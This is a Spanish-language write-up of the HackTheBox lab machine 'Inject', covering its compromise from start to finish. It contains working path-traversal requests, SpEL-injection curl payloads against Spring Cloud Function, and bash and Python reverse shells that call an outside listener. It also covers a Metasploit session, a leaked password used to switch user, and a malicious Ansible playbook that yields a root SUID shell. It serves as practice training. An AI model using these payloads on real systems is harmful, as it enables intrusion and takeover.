Inicio Inject WriteUp
Entrada
Cancelar

Inject WriteUp

Les explicaré cómo compremeter la máquina Inject de HackTheBox. Nos enfretaremos con una página que cuenta con una vulneravilidad de tipo Directory Transversal, usando dicha vulnerabilidad veremos una version vulnerable de Spring que cuenta con una vulnerabilidad de tipo command injection. Para migrar de usuario nos aprovecharemos de una contraseña filtrada. Y para escalar nuestros privilegios usaremos un archivo Ansibe playbook.

Identificando el OS

Enviando trazas ICMP (Internet Control Message Protocol) y usando el TTL(Time to Live) podemos identificar el OS.

1
2
3
4
5
6
7
❯ ping -c1 10.129.178.241
PING 10.129.178.241 (10.129.178.241) 56(84) bytes of data.
64 bytes from 10.129.178.241: icmp_seq=1 ttl=63 time=214 ms

--- 10.129.178.241 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 214.029/214.029/214.029/0.000 ms

Vemos lo siguiente:

  • TTL
    • El TTL es 63, esto indica que es una máquina Linux, ya que dichas mæquinas cuentan con un TTL igual a 64, pero…..porqué aparece como 63 e infiero que es Linux. bueno nuestra conexión no es directa, pasa por un nodo intermedario y eso hace que el TTL disminuya en una unidad.

Analizando la WEB

Web Error Web Error Si entramos veremos un mensaje de que no se puede acceder, así que sabemos que el puerto HTTP está corriendo en otro puerto, realizamos un escaneo NMAP.

Escaneo NMAP

Realizaremos el escaneo para saber que purtos están abierto y además para ver por donde corre el HTTP.

1
2
3
4
5
6
7
8
9
10
❯ nmap 10.129.178.241
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 12:33 -04
Nmap scan report for 10.129.178.241
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 2.47 seconds

Corre por el puerto 8080, ahora podemos ver la web correctamente.

Web Error Web Error

Detectando posibles métodos de intrución

Vemos un Login, lo cual podemos crear una cuanta y probar cosas pero no existe dicho archivo y vemos un Sing Up podemos probar injeciones SQL y NoSQL pero nos redirige a una página que nos indica que esta en construcción.

Enumerando Directorios

Usando WFUZZ veremos algunos directorios importantes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.178.241:8080/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.178.241:8080/FUZZ
Total requests: 220547

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                
=====================================================================

000000153:   200        112 L    326 W      5371 Ch     "blogs"                                                                                                                
000000051:   200        103 L    194 W      5654 Ch     "register"                                                                                                             
000000352:   200        53 L     107 W      1857 Ch     "upload"                                                                                                               
000001097:   500        0 L      27 W       712 Ch      "environment"                                                                                                          
000002694:   500        0 L      3 W        106 Ch      "error"                                                                                                                
000008675:   200        33 L     77 W       1086 Ch     "release_notes"                                                                                                        
000022957:   400        0 L      32 W       431 Ch      "http%3A%2F%2Fwww"                                                                                                     
000045226:   200        165 L    487 W      6657 Ch     "http://10.129.178.241:8080/"                                                                                          
^C
Total time: 267.0736
Processed Requests: 48259
Filtered Requests: 48251
Requests/sec.: 180.6954

La carpera /upload nos llama la atención, ingresamos a ella y podemos ver que nos dejan subir archivos Upload Upload

Si subimos una reverse shell de PHP nos dice que solo adminte imagenes, subimos una imagen random y miremos resultados. Imagen Imagen

entramos a ver la imagen y …..mmmm img?= eso huele a Directory Transversal. Podemos probar ver el /etc/passwd ingresamos la cadena

Searchsploit Directory Transversal

1
../../../../../../../../../../../../../../../../etc/passwd

Pero no vemos nada, podemos probar con burp o curl, interceptamos la petición y la mandamos al repeater. Burpsuite Burpsuite Analizando mas a fondo la web podemos intentar listar la carppeta donde se guardan las paginas web /var/www/

1
2
3
❯ curl 'http://10.129.178.241:8080/show_image?img=.././../../../../../././../../../../../var/www/'
html
WebApp

la careta WebApp nos llama la atención podemos listar su contenido

1
2
3
4
5
6
7
8
9
10
11
12
❯ curl 'http://10.129.178.241:8080/show_image?img=.././../../../../../././../../../../../var/www/WebApp'
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target

Un archivo .xml, lo leemos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
❯ curl 'http://10.129.178.241:8080/show_image?img=.././../../../../../././../../../../../var/www/WebApp/pom.xml'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.example</groupId>
	<artifactId>WebApp</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>WebApp</name>
	<description>Demo project for Spring Boot</description>
	<properties>
		<java.version>11</java.version>
	</properties>
	<dependencies>
		<dependency>
  			<groupId>com.sun.activation</groupId>
  			<artifactId>javax.activation</artifactId>
  			<version>1.2.0</version>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-thymeleaf</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
			<optional>true</optional>
		</dependency>

		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>bootstrap</artifactId>
			<version>5.1.3</version>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>webjars-locator-core</artifactId>
		</dependency>

	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<version>${parent.version}</version>
			</plugin>
		</plugin>
		<finalName>spring-webapp</finalName>
	</build>

</project>

Viendo algunas versiones nos encontranos con Spring Cloud Function Web, buscando CVE nos encontramos que es vulnerable a SpEL injection.

Explotación

Explotación manual

Si buscamos CVE relacionadas vemos este articulo y este repo de github le pasamos mediante una petición curl y con un argumento de java intentamos ejecutar código remoto.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Tue, 04 Apr 2023 19:13:59 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-04-04T19:13:59.853+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java

Si comprobamos , notamos que se creo el archvo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ curl 'http://10.10.11.204:8080/show_image?img=.././../../../../../././../../../../../tmp'
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
hsperfdata_frank
pwned
sKlBs
systemd-private-ba772bbc011b4fcb873f3ed2eefd0cc5-ModemManager.service-KPpmah
systemd-private-ba772bbc011b4fcb873f3ed2eefd0cc5-systemd-logind.service-akTACh
systemd-private-ba772bbc011b4fcb873f3ed2eefd0cc5-systemd-resolved.service-Dxeleh
systemd-private-ba772bbc011b4fcb873f3ed2eefd0cc5-systemd-timesyncd.service-6fJWPg
tomcat.8080.13169043535093016834
tomcat-docbase.8080.5822812062628089578
vmware-root_741-4248811580
YbRuN.b64

Creamos una reverse shell.

1
2
3
cat pwned.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/443 0>&1

Nos creamos un servidor python

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

En otra terminal nos ponemos en escucha.

1
2
❯ nc -lvnp 443
listening on [any] 443 ...

Subismos el archivo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.83/pwned.sh -o /tmp/pwned.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.83/pwned.sh -o /tmp/pwned.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Tue, 04 Apr 2023 19:24:40 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-04-04T19:24:40.750+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}#   

Le damos permiso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/pwned.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/pwned.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Tue, 04 Apr 2023 19:26:55 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-04-04T19:26:55.630+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}#                                                                                                                                                

Lo ejecutamos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/pwned.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/pwned.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Tue, 04 Apr 2023 19:33:45 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-04-04T19:33:45.482+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}#                                                                                                                                                

Nos llega la shell.

1
2
3
4
5
6
7
❯ nc -lvnp 443
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.83] from (UNKNOWN) [10.10.11.204] 34776
bash: cannot set terminal process group (815): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ 

Explotación con MetaSploit

Nos abrimos metasploit

1
msfconsole

Usando de apoyo este foro nos guiaremos. Una vez dentro de metasploit haremos lo siguiente.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[msf](Jobs:0 Agents:0) >> use exploit/multi/http/spring_cloud_function_spel_injection
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/spring_cloud_function_spel_injection) >> set RHOST 10.129.178.241
RHOST => 10.129.178.241
[msf](Jobs:0 Agents:0) exploit(multi/http/spring_cloud_function_spel_injection) >> set LHOST 10.10.14.170
LHOST => 10.10.14.170
[msf](Jobs:0 Agents:0) exploit(multi/http/spring_cloud_function_spel_injection) >> run

[*] Started reverse TCP handler on 10.10.14.170:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Sending stage (3045348 bytes) to 10.129.178.241
[*] Meterpreter session 1 opened (10.10.14.170:4444 -> 10.129.178.241:43644) at 2023-03-12 21:25:11 -0400

(Meterpreter 1)(/) > shell
Process 76003 created.
Channel 1 created.
whoami && id
frank
uid=1000(frank) gid=1000(frank) groups=1000(frank)

Ahora para mayor comodidad nos pasaremos esa shell mediante reverse shell, comprobamos si esta python3 y efectivamente esta instalado.

1
export RHOST="10.10.14.170";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

En nuestra máquina nos ponemos en escucha por el puerto 443 y nos debe llegar.

1
2
3
4
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.170] from (UNKNOWN) [10.129.178.241] 48474
frank@inject:/$

Aplicamos tratamiento a la TTY.

Migración de usuario

En la carpeta personal del usuario listamos carpetas escondidad

1
2
3
frank@inject:~$ ls -a
.  ..  .bash_history  .bashrc  .cache  .local  .m2  .profile
frank@inject:~$ 

la carpeta .m2 nos llama la atención, listamos su contenido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
frank@inject:~$ ls .m2
settings.xml
frank@inject:~$ cat .m2/*
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
frank@inject:~$ 

Vemos la contraseña del usuario phil, migramos…

1
2
3
frank@inject:~$ su phil
Password:DocPhillovestoInject123 
phil@inject:/home/frank$ 

…en su carpeta personal procedemos a leer la primera flag.

1
2
3
4
phil@inject:~$ cat user.txt 
be****************************36
phil@inject:~$ 

Escalada de Privilegios

No encontramos ningún binario SUID o permiso sudo, pero si si vemos a los grupos que pertenecemos vemos un grupo extraño staff.

1
2
3
phil@inject:~$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:~$ 

Si listamos si tenemos capacidad para dicho grupo nos encontramos con estó.

1
2
3
4
phil@inject:~$ find / -group staff -print 2>/dev/null
/opt/automation/tasks
/root
/var/local

La ruta /opt/automation/tasks nos llama la atención.

1
2
3
phil@inject:~$ ls /opt/automation/tasks/
playbook_1.yml
phil@inject:~$

Si miramos el archivo se modificó recientemente, por lo cual puede que exista una tarea cron.Si volvemos a volver a checkear el archivo se modifico 2 minutos después.

1
2
3
4
5
6
phil@inject:/opt/automation/tasks$ ls -lah
total 12K
drwxrwxr-x 2 root staff 4.0K Mar 13 01:46 .
drwxr-xr-x 3 root root  4.0K Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 13 01:46 playbook_1.yml
phil@inject:/opt/automation/tasks$

Un archivo .YML buscamos en internet el nombre del arvhivo “playbook”. Buscando en internet nos encotramos con este blog que nos lleva a un archivo de github. Creamos un archivo shell.yml con el siguiente contenido.

Esto copiara la bash en la carpeta actual y la convertirá en SUID y podemos spawnear una shell como root.

1
2
3
4
5
6
7
8
---                                                                                                               
- name: shell                                                                                                  
  hosts: localhost
  become: yes

  tasks:
  - name: hack
    shell: "cp /bin/bash . && chmod +sx bash"

Una vez pasado los 2 minutos spawneamos la shell como root con:

1
2
/usr/bin/ansible-playbook shell.yml
./bash -p

Hurra!!!! somos root, procedemos a leer la flag del usuario root

1
2
3
bash-5.0# cat root.txt
4e****************************67
bash-5.0# 

Máquina Pwneada, sigue así muchacho.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.